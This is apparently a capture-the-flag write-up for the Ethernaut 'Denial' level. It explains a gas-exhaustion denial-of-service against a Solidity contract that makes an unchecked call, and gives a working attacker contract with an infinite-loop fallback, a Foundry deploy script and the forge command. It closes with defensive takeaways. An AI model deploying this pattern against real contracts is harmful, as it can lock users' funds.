# The Ethernaut CTF Solutions | 20 - Denial

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/20-denial-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/20-denial-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

## The hack

The goal of the Denial challenge is to prevent the owner from withdrawing funds using the `withdraw()` function. How to do that?

Let's take a look at the `withdraw()` function:

```solidity
function withdraw() public {
        uint amountToSend = address(this).balance / 100; // 1% of the contract's balance
        partner.call{value:amountToSend}(""); // Send to partner using call
        payable(owner).transfer(amountToSend); // Send to owner using transfer

        // The rest is irrelevant to the solution, but note that the CEI isn't respected
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }
```

There are 2 external calls here:

* [`partner.call`](http://partner.call)`{value:amountToSend}("");`
    
* `payable(owner).transfer(amountToSend);`
    

There isn't much we can do with the `transfer` to the owner. However, we know that the `call` function forwards all the remaining gas to the callee. Unfortunately, since the return value isn't checked, simply reverting upon receiving ether wouldn't work. So we have to find another way to break the `withdraw` function.

This can be achieved by using all the remaining gas within the fallback function. By doing so, the `withdraw()` function will never be able to complete its execution. In this case, a useless infinite loop will do the work beautifully:

```solidity
fallback() external payable {
    while (true) {}
}
```

## Solution

Let's implement the solution accordingly:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IDenial {
    function setWithdrawPartner(address _partner) external;
}

contract Stop {
    IDenial idenial;

    constructor(address _denial) {
        idenial = IDenial(_denial);
    }

    function becomePartner() public {
        idenial.setWithdrawPartner(address(this));
    }

    fallback() external payable {
        while (true) {}
    }
}
```

As well as the script to deploy the `Stop` contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {Stop} from "../src/20_Denial.sol";

contract PoC is Script {
    // Replace with your Denial instance
    address private immutable denial =
        0xA5aCd27F60246ebdA0dF9E55Dd78f394715747c4; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        Stop stop = new Stop(denial);
        stop.becomePartner();

        vm.stopBroadcast();
    }
}
```

Then run the script with the following command:

```bash
forge script script/20_Denial.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## Takeaway

* Always check the return value of the `call` function.
    
* A specific amount of gas can be specified when using the `call` function.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
